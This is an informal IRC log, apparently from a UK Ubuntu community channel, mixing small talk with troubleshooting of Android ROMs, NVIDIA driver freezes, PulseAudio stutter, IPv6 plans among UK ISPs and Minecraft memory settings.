<HazRPG> I almost got a bit too excited when I saw it xD
<dwatkins> HazRPG: how about one who hackintoshes her Eee because it's faster than Ubuntu? ;)
<Neoti> YUK!
<HazRPG> (not literally of course)
<HazRPG> dwatkins: still a win in my eyes
<Neoti> hey is there a website like http://www.wolveslug.org.uk/ for people in Nottingham
<HazRPG> http://nlug.ml1.co.uk/
<jonsaint> i saved that site in my favourites
<HazRPG> just type the county/city in and type LUG next to it :P
<HazRPG> (in google I mean)
<dwatkins> HazRPG: she's a win in my eyes, too - this particular woman also liked the Apple sticker I ironically put on my Eee (although it still runs Ubuntu or Joliloud) :D
<HazRPG> :P
<dwatkins> I'm just saying there are plenty of female geeks out there.
<jonsaint> well im outta here folks. be back on later.
<dwatkins> ciaon jonsaint, have fun
<dwatkins> *ciao
<jonsaint> cheers. byeee
<Neoti> i want another PC for my ubuntu stuff ... was thinking of http://www.misco.co.uk/applications/SearchTools/item-details.asp?EdpNo=476279&CatId= on the ubuntu website its suppose to be certified ... any thoughts?
<daubers> I love the smell of plastic glue
<daubers> smells like creativity
<MartijnVdS> it smells like DEATH
<dwatkins> What kind of glue is plastic glue, Araldite?
<gord> Neoti, it'll work well enough, honestly most things do (i just buy random things, they always work fine) - but your paying for windows there
<daubers> dwatkins: Araldite is epoxy resin
<AlanBell> what is the correct capitalisation of postgres?
<dwatkins> daubers: ah ok, I've seen people use Araldite to glue plastic things together
<Neoti> i know ... its the only downside...
<dwatkins> Neoti: freecycle?
<Neoti> dwatkins ?
<TheOpenSourcerer> AlanBell: PostgreSQL
<AlanBell> thanks
<daubers> dwatkins: I think it's also called Polystyrene Cement
<dwatkins> thanks daubers
<daubers> dwatkins: Araldite is uber glue. Much stronger than plastic glue :)
<daubers> dwatkins: This stuff http://www.wargamestore.com/25g-Revell-Contacta-Professional-Plastic-Glue-p-17408.html
<TheOpenSourcerer> Araldite is an Epoxy Resin glue. Very strong.
<dwatkins> daubers: for most things, yes, but it doesn't stick all plastics
<dwatkins> you can get boxes from Ikea which are smooth on the outside, which araldite doesn't adhere to
<daubers> Really? Shocking
<daubers> dwatkins: According to wikipedia, it's essentially super glue
<daubers> http://en.wikipedia.org/wiki/Cyanoacrylate
<daubers> the plastic stuff, not epoxy :)
<AlanBell> Araldite is not cyano
<AlanBell> polystyrene cement=superglue=cyano
<TheOpenSourcerer> http://en.wikipedia.org/wiki/Epoxy
<daubers> :)
 * Neoti happy
 * daubers needs some more pva
<brobostigon> afternoonings all.
 * Neoti Now has a nice new ZFS thing on my system for storing more files.... YEY!!!
<dwatkins> hiya brobostigon
<HazRPG> brobostigon: howdy dudwe
 * Neoti off to do some house work *BOOOO*!!!
<HazRPG> dude*
<dwatkins> I'd really like to get a Drobo for general file storage and redundancy.
<dwatkins> I should do that too, Neoti - Lego Star Wars is currently distracting me, though ;)
<brobostigon> HazRPG: afternoonings, :)
<brobostigon> hiya dwatkins :)
<winniesun> evenings....:)
<brobostigon> shwmae winniesun :)
<Neoti> erm why did my message just come out as >< ARGH!!!
<Neoti> dwatkins lol .... minecraft was distracting me .... but i think i managed to get away from it .
<dwatkins> Well, it's a game, it's supposed to distract ;)
<winniesun> brobostigon: I do not know what is shwmae...sorry...
 * Neoti right i really must be off for some house work ..... but mine craft is soo addictive... must resist!!!
<brobostigon> winniesun: its a word in welsh, the has a similer meaning to greetings,or something like that.
<HazRPG> brobostigon: how's things? Long time no speak
<winniesun> brobostigon: Oh...google tells me too..thanks
<HazRPG> brobostigon: seems your always signing out when I'm signing in xD
<brobostigon> HazRPG: up and down, my eczema has recently been badly infected, and its juststarting to improve again. and have been playing alot recently with android 2.3 onmy htc dream. how about you?
<brobostigon> winniesun: :)
<HazRPG> brobostigon: ouch, well glad its getting better though :). Ooo, you've got a HTC Dream? Is it any good? I'm still waiting for 2.3 for my Nexus One :(
<HazRPG> part of me wants to root it, but part of me thinks it would be silly to do so while its still in warranty
<HazRPG> yeah, I'm good sort of, been having mega trouble sitting down recently - being sat in front of a computer is bad for your health lol
<brobostigon> HazRPG: its perfect, other than a slight lack of ram. i am having my suspicions though, it isnt recieving sms's properly.
<HazRPG> brobostigon: hmm, tha is odd
<brobostigon> HazRPG: agreed, yes.
<brobostigon> HazRPG: i need to find a test, it is recieving calls properly, i hve checked allsettings,cant see anything wrong,
<HazRPG> I find it annoying how android timestamps the text messages under the time you actually receive the message, and not the time that's actually posted in the header of the network sent time
<jacobw> yes, however it is useful for bets where you assert that someone cannot text you by a given time :p
<HazRPG> brobostigon: do you have many apps installed on it?
<HazRPG> brobostigon: also, has it been like that since you bought it or since updating to 2.3?
<brobostigon> HazRPG: a few, in combination with having some on sd.
<brobostigon> HazRPG: 2.3
<dwatkins> I'm torn about rooting my HTC Desire HD
<HazRPG> brobostigon: oh, it came with 2.3 you mean?
<HazRPG> dwatkins: know the feeling
<HazRPG> I hate the lack of language support
<dwatkins> It's a nice phone, big screen and all, just not sure I want to potentially kill it - although I gather the risk is low
<brobostigon> HazRPG: no, its only happened since i updated it from 2.2.1 to 2.3.
<HazRPG> really annoys me when my cousins and family send me texts in arabic and I can't view them at all :/
<HazRPG> brobostigon: hmm, how odd
<brobostigon> HazRPG: and rooting , was the only way, i would have been able to update it, to anything higher than 1.6.
<brobostigon> and iwasnt going to stay backk with 1.6.
<HazRPG> brobostigon: yeah
<HazRPG> I've heard that people on 2.3 have been having issues with sms getting sent to the wrong people too...
<brobostigon> HazRPG: and rooting canbe useful, youcanthenuse thingslike setcpu.
<HazRPG> brobostigon: ooo nice
<brobostigon> HazRPG: i am keeping an eye on that issue, with myoutgoing sms count.
<HazRPG> brobostigon: might be worth going with one of the true open-source android options
<brobostigon> HazRPG: an aosp version, is what i am running already.
<HazRPG> brobostigon: like cyanogen, since it irons out such bugs
<czajkowski> aloha
<brobostigon> HazRPG: it is a  compiled from cyanogen's htc dream git for gingerbread.
<brobostigon> afternoonings czajkowski :)
<winniesun> seems Android is popular all over the world :)
<Pendulum> hiya czajkowski
<HazRPG> brobostigon: oh...
<HazRPG> winniesun: slowly getting that way
<brobostigon> HazRPG: its a suspicion, its not confirmed at all.
<HazRPG> brobostigon: oh right
<HazRPG> have you tried texting yourself?
<dwatkins> I'm running 2.2.1, I think I need new storage first.
<brobostigon> HazRPG: no,
<HazRPG> brobostigon: might be worth trying
<brobostigon> HazRPG: http://forum.xda-developers.com/showpost.php?p=9987696&postcount=2
<brobostigon> HazRPG: thats the compiled version, i have here.
<HazRPG> brobostigon: or if you have a skype account with some credit on it, you could always send yourself a text using that too
<brobostigon> HazRPG: very true, yes.
<winniesun> HazRPG: yeah,more people will choose NOKIA in my town,not everyone have time to play apps
<winniesun> HazRPG: sorry.. grammar  faults..
<HazRPG> winniesun: just because you don't have time for apps, doesn't mean you can't benefit from an android phone - one of my friend's dad's has an android phone, and he barely uses apps... he finds that it works so much better than any phone he's ever used before.
<HazRPG> brobostigon: ah, seems Cyanogenmod is up to version 6 (or 2.2), so that might be what the issue is
<HazRPG> brobostigon: saying that, it does mention on the link you sent that it was an alpha
<HazRPG> might be better for you to actually revert back to Cyanogenmod 6 (or 2.2.x) until it gets a bit more stable
<brobostigon> HazRPG: yes, however that is based onwhat was last in git for htc dream inside cynogenmod git, and that is gingerbread.
<bigcalm[mob]> Afternoon peeps
<HazRPG> personally I'd download one from this list instead: http://forum.cyanogenmod.com/files/category/1-stable-mod/
<HazRPG> brobostigon: the one in the git repo is a nighly build I think
<brobostigon> HazRPG: ie http://forum.xda-developers.com/showthread.php?t=922499
<brobostigon> HazRPG: yes, that was the stable version i was running, cm 6.1, and have a nand backup of it, so i can easily restore to it.
<HazRPG> brobostigon: ah cool
<glynn-home>  aye aye
<togster> Afternoon
<winniesun> HazRPG:good standpoint...android is attractive to me because I can make my own phone
<HazRPG> winniesun: exactly
<winniesun> shwmae togster
<HazRPG> winniesun: you have more customisability with them too, whether your technically-minded or not
<HazRPG> winniesun: plus if you are into apps, best thing is apps on the market place show you exactly what access is being given to that app - so you have no excuse if you run into trouble with what your doing, something the other companies haven't caught up on yet
<brobostigon> winniesun: Prynhawn da
<brobostigon> winniesun: is good afternoon.
<HazRPG> in fact that's a feature built straight into the actual package files themselves, so no matter whether you get the app from the market place or download it from various websites, you know exactly what type of access your giving that application
<winniesun> brobostigon:nice to talk with you,I can practice my English
<brobostigon> winniesun: and then in 2.2 you can set in a very fine grained way, what ever app on the system had permission to do, seperatly from the normal app permissions.
<brobostigon> winniesun: welsh is a different language to english.
<winniesun> brobostigon:oh,but my mother language is Chinese
<brobostigon> winniesun: stick with english, ignore the welsh words i use. it will make things simpler.
<HazRPG> totally
<HazRPG> brobostigon: masa alkhar :)
<winniesun> brobostigon: next year i will study in canda..is it a different language to english?
<HazRPG> masah* even
<brobostigon> winniesun: they speakenglish in canada.
<HazRPG> brobostigon: no, they still use english - just the slang words you might have to adapt to
<HazRPG> heh, wrong person link
<HazRPG> meant to type winniesun
<brobostigon> :)
<winniesun> hehe
<winniesun> :)
<HazRPG> winniesun: however they also speak french only in certain parts of canada - so you'll have to watch out for that
<brobostigon> yeah, i forgot about that HazRPG.
<winniesun> HazRPG:yeah..tks...in waterloo people speak English
<brobostigon> HazRPG: like in switzerland, partly german and partly french, again.
<MartijnVdS> Belgium
<winniesun> nice..i have a knife from switzerland..very useful
<MartijnVdS> Dutch and French
 * Neoti House work complete... yey
<MartijnVdS> *\o/*
<winniesun> MartignVdS:Is Dutch  a language?
<brobostigon> winniesun: yes,
<MartijnVdS> winniesun: it is
<brobostigon> winniesun: they speak it inthe netherlands.
<AlanBell> also known as Holland
<winniesun> hehe, I google it..called è·å° in  china
<MartijnVdS> AlanBell: "the UK, also known as England"
<MartijnVdS> AlanBell: :P
<winniesun> :)
<dutchie> \o/
<brobostigon> MartijnVdS: and scotland and wales. :)
<dutchie> and NI
<AlanBell> MartijnVdS: are there bits of the Netherlands that are not in Holland?
<MartijnVdS> AlanBell: yes.. 10/12ths aren't called Holland (Flevoland, Zeeland, Friesland, Groningen, Overijssel, Drenthe, Gelderland, Utrecht, Limburg, Noord-Brabant)
<czajkowski> dutchie: oi and EI mister
<MartijnVdS> AlanBell: and then there's North Holland and South Holland :)
<dutchie> czajkowski: not in the UK...
<AlanBell> wow, never realised that
<winniesun> Thanks,I learned many words today...British people are very gentle :)
<togster> There's also an area of Englanad called Little Holland
<MartijnVdS> AlanBell: http://en.wikipedia.org/wiki/Provinces_of_the_Netherlands for a map :)
<brobostigon> winniesun: always, :)
<MartijnVdS> togster: we have a town called "America" in Limburg
<togster> MartijnVdS: I think they should sue for copyright infringment
<MartijnVdS> togster: doesn't work like that
<togster> MartijnVdS: I was joking
<AlanBell> http://www.minbuza.nl/en/You_and_the_Netherlands/About_the_Netherlands/General_information/Holland_or_the_Netherlands
<MartijnVdS> AlanBell: that's an official government site :)
<togster> Quick (ubuntu-related) question: Is it possible to actually burn the Natty alpha (or daily build) isos to normal CDs. They seem to be too big...
<togster> Apologies for the missing question mark there
<dutchie> use a dvd or a usb stick then
<dutchie> i presume they will trim then down as release gets closer
<brobostigon> togster: youare right, they seem oversized right now, usb seems the bestsolution.
<brobostigon> dutchie: yes,theywill. :)
<togster> I just wondered, as burning them to cd seems like something that should be tested
<popey> thats exactly what happens togster
<popey> it frequently goes oversize before release
<togster> Fine, I obviously just hadn't noticed in previous release cycles
<balor> popey: did you get your fire sorted?
<brobostigon> HazRPG: no bug, my mum just sent me an sms from here "three" android phone.nd recieved it.
<popey> balor: kinda
<popey> balor: http://popeydc.dyndns.org/maps/current.png
<bigcalm[mob]> Need moar iron
<popey> bottom right, started a forest fire
<popey> bigcalm[mob]: found some!
<popey> switched map to night mode
<popey> looks nicer
<jacobw> i've installed the banshee plugin for ubuntu one, but how to i get banshee to access previously purchased music?
<bigcalm[mob]> Do I dare load the map from my phone?
<balor> popey: So it wasn't even metaphorical.  Just virtual.
<balor> popey: Thank $DEITY for that.
<popey> correct
<popey> yes!
<popey> bigcalm[mob]: probably best not
<balor> popey: I thought you were one of those people who'd be on IRC telling us that your house was burning down, but you were waiting for this download to complete.
<popey> bigcalm[mob]: 3.2MB :)
<popey> :)
<popey> I am kinda
<bigcalm[mob]> It worked. Looks pretty
<popey> one christmas at a relatves house we had a table decoration which was a candle inside some decorative fluff
 * balor makes dinner
<popey> bigcalm[mob]: i can see lava on the map
<popey> we all left xmas dinner table and went to watch telly
<bigcalm[mob]> Yes,  lets make a mob grinder :D
<popey> i wandered back into the kitchen only to discover decoration on fire
<popey> :)
<popey> yes!
<popey> and went back to the lounge and said 'hey, your kitchen is on fire'
<popey> quietly and calmly
<exobuzz> heh
<popey> 'yeah right alan'
<bigcalm[mob]> Lol
<popey> 'no, it really is on fire'
<popey> i went back and to the sink to fill something with water
<popey> only thing I could find was a collander
<bigcalm[mob]> Doh
<exobuzz> did you tweet it before putting it out also ? ;-)
<popey> heh
<popey> this was pre-twitter
<popey> I KNOW! There is a pre-twitter era!
<bigcalm[mob]> Guess I should crawl out of bed, find food then start mining
<exobuzz> oh. pre twitter. hmm. did you dial up your local fidonet node, and post a message about it or put it on usenet ? :)
<bigcalm[mob]> popey: what did you think of Withnail and I?
<popey> enjoyed it
<popey> especially with extra port and cheese
<bigcalm[mob]> Scrubbers!
<popey> I'm heading to the wood house
<popey> we're nearly met up
<popey> but the tracks are at different altitudes :)
<bigcalm[mob]> Cool. I'll resume in a bit
<bigcalm[mob]> Not a problem
<popey> we need to build stations and platforms :)
<popey> and sidings :)
<bigcalm[mob]> Can you get a boat under your viaduct?/
<exobuzz> are you playing that game again ? :)
<popey> yes
<bigcalm[mob]> Laters
 * exobuzz gives up on reloading uk-podcast for a new episode then ;-)
<czajkowski> anyone got the etherpad link to the cloud expo stuff?
<daubers> czajkowski: I'm going to that now \o/
<czajkowski> daubers: ohh really which day ?
<czajkowski> trying to decide to go wednesday or thursday
<daubers> czajkowski: Not sure yet. Probably Wednesday... but have to work it in with the work calender
<czajkowski> nods
 * daubers ponders what to cook for dinner today
<czajkowski> daubers: pancake
<czajkowski> *pancakes
<Pendulum> daubers: food
<jacobw> sweet potato oat cakes :)
<mattt> pancakes for dinner?  ewwww
<daubers> I could actually home make some crispy pancakes
<daubers> maybe with some kind of chilli type mincy filling
<exobuzz> i have sausage and mash at7am
<exobuzz> had
<jacobw> great way to start the day :)
<exobuzz> with homemade onion gravy and peas..
<jacobw> hmm :)
<jacobw> night shift?
<exobuzz> i had been up all night by accident on the computer
<jacobw> easily done :p
<dwatkins> oops
<exobuzz> "just check this email and go to bed". "crap its 6am"
<exobuzz> i blame the internets
<daubers> http://www.channel4.com/food/recipes/chefs/hugh-fearnley-whittingstall/crispy-pancakes-recipe_p_1.html
<exobuzz> make a pancake. dip it in breadcrumbs.. and you have to get to #9 for that "secret" :)
<exobuzz> when i think of hugh, this clip always comes to mind. http://www.youtube.com/watch?v=fN_6K8MWscE
<TheOpenSourcerer> ZOMG!!! We are all doomed! http://tech.slashdot.org/story/11/01/22/057227/Last-Days-For-Central-IPv4-Address-Pool
<penguin42> I think there are very few UK people with DSL routers that can do IPv6, so it's going to be an arse to change
<Darael> Well, BT are doing test deployments with some users, VM's line is "we have no plans to deploy IPv6 at this time" (gits), don't know about anyone else.
<brobostigon> no idea about carphone warehouse,or o2, but heard nothing to confirm nor otherwise.
<brobostigon> well evetaully the isp's will have to, otherwise they woont be ble to assign ip's to customers anymore. and therefore not have anymor customers.
 * TheOpenSourcerer must learn more about IPv6.
<Darael> Andrews and Arnold do it native over BT or Be lines, but are (of course) pricey.
<brobostigon> Darael: and entanet.
 * TheOpenSourcerer also needs to get on and deal with his Tax return shortly.
<Darael> brobostigon: Well, they probably think they can just NAT huge groups of people.  The geeks will suffer, and the rest may not even notice.
<TheOpenSourcerer> But, frankly, can't be ar**d right now.
<Darael> Except that their torrents will slow down, of course.
<brobostigon> Darael: maybe.
<Darael> That or they think "ah, we have plenty of addresses assigned in reserve, we'll do it later" and will keep thinking this right up until they run out completely.
<brobostigon> Darael: that would be bad planning.
<Darael> Which is far from unheard of.
<mattt> anyone know if BE are doing anything ipv6 yet?
<Darael> "We don't care, we don't have to care, we're the phone company" - or the ISP, as the case may be.
<brobostigon> mattt: we are just discussing isp's doing that.
<mattt> i dunno wtf these companies are doing
<mattt> but they better shift into gear
<Darael> mattt: It would appear that /they/ don't know either.
<penguin42> the thing is they're going to have to send people new routers as well; it'll be doable for the companies tha talready send people routers
<brobostigon> ipv6 tunnelling is a good testing device,but certainly not a long term solution.
<TheOpenSourcerer> I was considering moving from my current ISP to Zen, they at least have an IPv6 plan... http://www.zen.co.uk/latest-news/zen-prepares-for-ipv6.aspx
<Darael> penguin42: Well, they could issue firmware upgrades for the routers they already issue.
<brobostigon> TheOpenSourcerer: thats good atleast,
<penguin42> Darael: There are a lot of varieties out there
<Darael> penguin42: Hence "for the routers they already issue" - they already support those, in theory at least.
<awilkins> Since most of them run some flavour of linux shnouldn't be too hard
<AlanBell> czajkowski: http://pad.ubuntu-uk.org/linuxexposchedule
<penguin42> Darael: Yeh but it varies by ISP, not all customers use ISP supplied routers
<awilkins> The hard part was the drivers
<czajkowski> AlanBell: anh decisiion on which day is beer day ?
<Darael> penguin42: Indeed, but it should help alleviate it.
<czajkowski> AlanBell: or both days beer days
<awilkins> Have a dangerous quantity of kimchi in my bag. hmm. Beeeeer.
<AlanBell> czajkowski: every day is a beer day
<czajkowski> ok
<awilkins> Except for cider day
<czajkowski> it's part of your 5 a day
<czajkowski> apples good for you
<AlanBell> and chocolate is technically a vegitable
<Pendulum> healthier than beer! ;)
<awilkins> Cider, perry, wine, all fruit based booze
<awilkins> Beer is good for B vitamins
<awilkins> Probably why they are "B" vitamins
<brobostigon> hehe
<TheOpenSourcerer> Yay! 13% of my tax return done... AlanBell, I will probably need some figures for FY2010 at some stage.
<AlanBell> best do mine
<AlanBell> at some point
<TheOpenSourcerer> You have 8 days.
<awilkins> /me is almost happy to be a PAYEr
<awilkins> Stupid non-emoting phone IRC client.
<TheOpenSourcerer> Bored & cold now. Off to watch a film with the kids in front of the fire.
<kvarley> how can I stop flash videos (specifically iplayer) from exiting fullscreen on dual monitors in ubuntu. When I have it fullscreen on one screen and try to use the other screen it exits fullscreen once I click on stuff
<mattt> damn, ronnie has a killer signature
<Neoti> Has any one got the PPTP VPN working in 10.10 ...
 * Neoti Needs PPTP VPN fixing in 10.10.... come on ubuntu team...
<AlanBell> how is it broken?
<Neoti> if i set up a standard PPTP VPN to a windows server it keeps saying failed.... if i use my laptop and create the same vpn it works so the VPN is fine its just ubuntu ...
<AlanBell> in the advanced button of the pptp configuration thingie you might have to turn off some authentication methods that are broken in Windows
<AlanBell> CHAP or something
<Neoti> i have followed many ubuntu how toos on trying to fix this like turning on MPE and only have mschap and stuff... i thinks is a core Ubuntu problem.... not sure tho
 * Neoti getting dinner will return soon
<AlanBell> Neoti: file a bug
<AlanBell> TheOpenSourcerer: please to review my blog postie when you have a sec
 * brobostigon restores his htc dream back to android 2.2.1, 
<brobostigon> good thing i made a nand backup, :)
<knightdroid> Hey everyone
 * Neoti im back.... 
<Neoti> hey people im back
<brobostigon> wb Neoti
<Neoti> Thanks
<brobostigon> :)
<Neoti> i think i might have some USB and ZFS fun ... i have some old usb sticks so gonna make a ZFS filesystem out of them i think in a raidz1 on a USb 2.0 hub ...
<bigcalm> How do you assign more memory to a Java app such as minecraft?
<popey> it says on the main download page
<popey> java -Xmx1024M -Xms512M -cp Minecraft.jar net.minecraft.LauncherFrame
<bigcalm> Ok, I'll give it a go, ta
<bigcalm> popey: http://myrant.net/popey_minecraft.png
<popey>  i gave mine 2048 and 1024 respectively
<gord> i don't bother changing it for my client, doesn't seem to make any difference
<HazRPG> *sigh*
<HazRPG> I thought the blu-ray drive inside a PS3 would be easier than this to connect to a PC :/
<HazRPG> stupid proprietary ribbon cable format :/
<HazRPG> what a waste
<ali1234> why not just buy a bluray drive.......
<brobostigon> interesting, google goggles can help me with sudoku's now, :)
<ali1234> HazRPG: http://www.avsforum.com/avs-vb/showthread.php?t=1011038
<HazRPG> brobostigon: woah no way!
<brobostigon> HazRPG: apparently.
<HazRPG> ali1234: thanks, saw something similar in google but not this thread, reading now
<brobostigon> HazRPG: not tested it though.
<ali1234> does it have standard 0.1" pins?
<HazRPG> ali1234: just out of interest, what did you type in google? I've been trying "PS3 Blu-ray drive in PC" and similar
<ali1234> i typed PS3 BD drive connect in PC
<HazRPG> ali1234: it's a 60 pin ribbon
<HazRPG> ah
<brobostigon> my dad is buying a curry tonight, yay, :)
<ali1234> then i read one of the forum posts and i found this guy called "godzown" figured it out
<ali1234> so then i googled for that
<ali1234> HazRPG:  if it's standard IDE connector type but with 60 pins: http://tinyurl.com/6252v4u
<ali1234> if it's one of those flat printed ribbons then i dunno what they are called
<HazRPG> yeah, it's a flat ribbon cable
<ali1234> meh, give up. you can't do much with those unless you solder each wire individually
<ali1234> just buy a drive they aren't expensive now
<HazRPG> yeah I know, seems to be the general consensus at the moment
<HazRPG> I'm good with a soldering iron... however the bare contacts on the ribbon are just way too thin and small for a standard iron
<ali1234> you can't solder onto the ribbon, don't try it
<ali1234> you have to solder to the connector
<HazRPG> that n the fact that even if I did try... my hands would probably wobble all over the place xD
<ali1234> maybe you can get the latching connector from farnell but idk what they are called
<HazRPG> only reason I'm looking into it is because my friend just got a new PS3 to replace he broken one (was gonna cost more to fix then to get a new one :/)
<HazRPG> and he just gave me the PS3 in bits (cos he wanted his game out)
<ali1234> easier to fix the thing yourself than to try to salvage the bits, i think
<HazRPG> possibly
<ali1234> oh, a puzzle then
<HazRPG> we got the game out, which was good
<HazRPG> just wish we could use some of the parts out of this damn thing
<ali1234> repair it
<HazRPG> I could rive out the connector port from the actual motherboard itself, however the pins on that are way too tiny too :/
<ali1234> why did it fail?
<HazRPG> Flashing red light of doom
<ali1234> so PSU is good
<brobostigon> see you later guys and gals,
<HazRPG> yeah
<ali1234> or partly good anyway
<Neoti> bye....
<HazRPG> brobostigon: catch ya later dude
<HazRPG> brobostigon: have fun
<brobostigon> bye HazRPG, cheers, :)
<brobostigon> bye Neoti :)
<ali1234> maybe it's drifting out of spec due to capacitor problems... that's the normal reason electronics dies
<HazRPG> ali1234: well the whole thing was fine until the whole thing just crashed in-game apparently
<ali1234> if so it will be caps in the PSU section
<HazRPG> this is very true
<ali1234> anyway try not to electrocute yourself, i'm going for dinner
<HazRPG> however some sites said that the cause is due to bad thermal paste used in the PS3 apparently
<HazRPG> ali1234: haha sure I'll try not to xD
<HazRPG> enjoy
 * Neoti Listening to a nice bit of rammstein - Du Hast!!.... 
<markjones> Afternoon
 * bigcalm drums his fingers
<popey> back
<markjones> does anybody have any supplies of Ubuntu Pens/Stickers?
<Azelphur> hmm, update has made my system continually freeze
<Azelphur> x 100%s and ssh is only responsive for a short time then that dies too
<gord> markjones, i think the ubuntu shop does if you need some
<gord> shop.ubuntu.com i think?
<markjones> gord, yeah, we have 9 days and limited budget
<Azelphur> yea definitely need some help here my x keeps freezing
<Azelphur> it freezes for like 5-10 seconds a couple of times then dies completely
<Azelphur> i cant even switch to a tty
<Azelphur> but music is still playing
<hamitron> what you done to it?
<Azelphur> updated
<hamitron> vid drivers?
<Azelphur> i dunno, just normal apt updates
<Azelphur> but since the update i cant use my pc for more than 20m without a freeze
<hamitron> GTX570?
<Azelphur> yea
<AlanBell> markjones: what did you have in mind?
<hamitron> first thing I'd do, make sure it isn't overheating it
<Azelphur> nope it chills out at 40c
<hamitron> cool :)
<Azelphur> 50*
<Azelphur> phone typing \o/
<hamitron> you not disabled X on startup?
<Azelphur> huh?
<hamitron> I'd stop the GUI from starting for a start
<Azelphur> basically "make my desktop machine useless" :P
<hamitron> no, do that so you can boot up and fix it
<hamitron> ;/
<Azelphur> I can boot up
<Azelphur> I'm talking to you using it now - it won't last long most likely though
<Azelphur> this is my third hard reboot in 2 hours
<markjones> AlanBell, stickers, CD's, posters, anything really
<MartijnVdS> nvidia \o/ ?
<Azelphur> MartijnVdS: yup
<hamitron> I'd try changing to the vesa driver
<hamitron> or nv
<Azelphur> (19:05:35) Azelphur: basically "make my desktop machine useless" :P
<Azelphur> XD
<hamitron> then you get a stable system to work on the problem
<hamitron> ;/
<Azelphur> haha
<Azelphur> I can work on the problem, how would I start debugging it?
<hamitron> I'd look at the driver version and see if there is anything on the nvidia site first
<Azelphur> there's a newer version on the nvidia site that says it fixes crashes with x 1.9
<directhex> build a package from it
<directhex> nvidia-installer will eat your babies
<hamitron> :)
<Azelphur> I see :P
<Azelphur> directhex: any step by steps for doing it?
<Azelphur> I know how to install from command line but I don't want to break apt updates when they are available
<directhex> Azelphur, download source package, replace .run files inside, bump debian/changelog ?
<hamitron> there may be a PPA? if this is common?
<Azelphur> I see o.O
<hamitron> lots of graphics card whores like the latest :)
<czajkowski> evening chaparoos
<Azelphur> yea, a ppa would be handy
<hamitron> hi cz
<hamitron> and ffs, need reboot
<hamitron> :/
<hamitron> winblows ftl :/
<AlanBell> markjones: yeah, what were you going to do with them? just hand them out or something different?
<markjones> AlanBell, hand them out during a barcamp style conference
<hamitron> my new nero oem comes with nerolinux \o/
<AlanBell> markjones: oh, not the expo thing then
<AlanBell> markjones: what is the event?]
<markjones> AlanBell, "Hacking Language"
<markjones> http://haciaith.com/what-is-hacior-iaith-english/
<ali1234> what does that even mean?
<markjones> ali1234: Hacio = Hacking. Iaith = Language
<ali1234> yes, what does "hacking language" mean?
<mgdm> try reading the page
<markjones> ^ this
<hamitron> all welsh to me ;)
<ali1234> it's not very specific
<markjones> ali1234, that's because a 'barcamp'  conference is very loosely structured ;)
<AlanBell> so are you demoing the welsh translation of Ubuntu?
<AlanBell> and getting more people involved in that?
<markjones> yeah
<markjones> well, we're trying to promote Ubuntu
<AlanBell> any idea how many people are expected?
<markjones> 30
<mgdm> I used to run my Ubuntu in Scottish Gaelic
<mgdm> it gave me a bit of a fright when someone actually translated some of it
<czajkowski> froodie: boo
<froodie> oi oi
<czajkowski> froodie: so what's the issue and we can see if we can help
<froodie> stuttery/glitchy audio playback
<froodie> am running maverick on a samsung N150
<czajkowski> froodie: what app are you using to watch stuff?
<czajkowski> as is does it happen on just one app ?
<froodie> a .avi in vlc
<czajkowski> froodie: have you tried a different player
<czajkowski> as VLC was a bit crap for me over xmas
<froodie> yeh, movie player doesn't play at all
<czajkowski> :s
<froodie> i'd had the glitchy/stuttery audio problem before
<czajkowski> thats usually where I go and annoy the gstreamer folks
<froodie> and tried a fix i found in the forums, which worked
<czajkowski> froodie: let me go and ask
<froodie> adding tsched=0 to a line in etc/pulse/default.pa
<markjones> pulseaudio's a pain
<diplo> evenin all
<czajkowski> froodie: this is who could help https://wiki.ubuntu.com/DanielTChen
<froodie> thankyou
<froodie> and yes, pulseaudio is a pain :)
<czajkowski> but movie player should work
<czajkowski> bit odd it not working
<czajkowski> froodie: get stuck again pop in, nobody gives out to folks for askig for help in here
<czajkowski> tis a bit quiet this evening
<froodie> czajkowski: movieplayer gives pulseaudio errors also
<czajkowski> froodie: that's odd
<czajkowski> froodie: have you logged a bug about it ?
<czajkowski> as on maverick it in theory should work
<czajkowski> very odd
<froodie> czajkowski: installed alsa instead
<czajkowski> ahh smart
<froodie> works :)
<froodie> thanks for your help!
<czajkowski> froodie: great stuff
<czajkowski> froodie: if you get time and report the m player bug let me know so can follow up on it
<hamitron> :)
<froodie> bug will probably be called "pulseaudio can bite me"
<froodie> now, to my movie
<froodie> bye :)
<ali1234> i disabled pulse, haven't found a problem yet
<MartijnVdS> ali1234: try switching sound output seamlessly on the fly
<ali1234> how? i only have 1 output
<MartijnVdS> I can select bluetooth audio and any playing sound will just "hop over"
<ali1234> that assumes that the sound actually plays in the first palce
<MartijnVdS> same with input.. I can connect my USB "handset" or record player and I can select them as "the" input device
<ali1234> my soundcard has a line in, i can plug anything i want into that
<hamitron> changing cables is so last year ;)
<ali1234> i should get a HDMI cable. the driver for my video card probably does a better job of audio than the HDA driver
<ali1234> then i might go back to pulse
<MartijnVdS> works fine on my hda :)
<hamitron> I've read the nvidia driver only does video, is that true?
<ali1234> well it shoulds up in the audio devices
<ali1234> *shows
<ali1234> but i have no idea if it works
<ali1234> nouveau probably only does video though
<hamitron> I read the binary driver did also
<hamitron> but can use something else alongside I think
<MartijnVdS> afaik the Nvidia HDMI stuff is "just" HDA as well?
<MartijnVdS> it is for Intel
<ali1234> the problem is not all HDA cards are equal
<hamitron> but my VGA monitor doesn't take hdmi, so I wasn't worried :)
<ali1234> HDA is a spec that replaces AC97
<ali1234> and just when the drivers finally covered nearly all AC97 quirks too
<hamitron> :/
<ali1234> nearly anyone you find with sound problems on linux is using HDA... couldbe because it is so common, or it could be because it just sucks, i dunno
<hamitron> I dunno why they have to complicate it with options to select what certain jack ports do
<ali1234> my card has a quirk where it thinks headphones are plugged in when they aren't
<hamitron> just use green for speakers... red for mic, blue for line in, and black for line out
<hamitron> ah, my AC97 does that
<ali1234> it always switches to the wrong input unless i select "independent hp"
<hamitron> :/
<hamitron> but it does it in winblow too
<hamitron> hp?
<hamitron> headphones?
<ali1234> apparently yeah
<ali1234> it took me ages to figure it out
<hamitron> I just got horse power in my head
<hamitron> :/
<hamitron> and tomato sauce
<czajkowski> popey: ping a ling long
<MartijnVdS> hamitron: something to get it out again: http://www.youtube.com/watch?v=oHg5SJYRHA0
<hamitron> get it out? :s
<MartijnVdS> hamitron: of your head
<hamitron> ah
<hamitron> :)
<hamitron> will be a while before it loads...
<hamitron> MartijnVdS: is it worth waiting an hour for?
<hamitron> well, 20 mins
<MartijnVdS> hamitron: what? the video?
<hamitron> yeh ;/
<MartijnVdS> hamitron: only if you don't like Rick Astley ;)
<hamitron> gonna pass I think
<hamitron> only just got past the right hand side of the play button
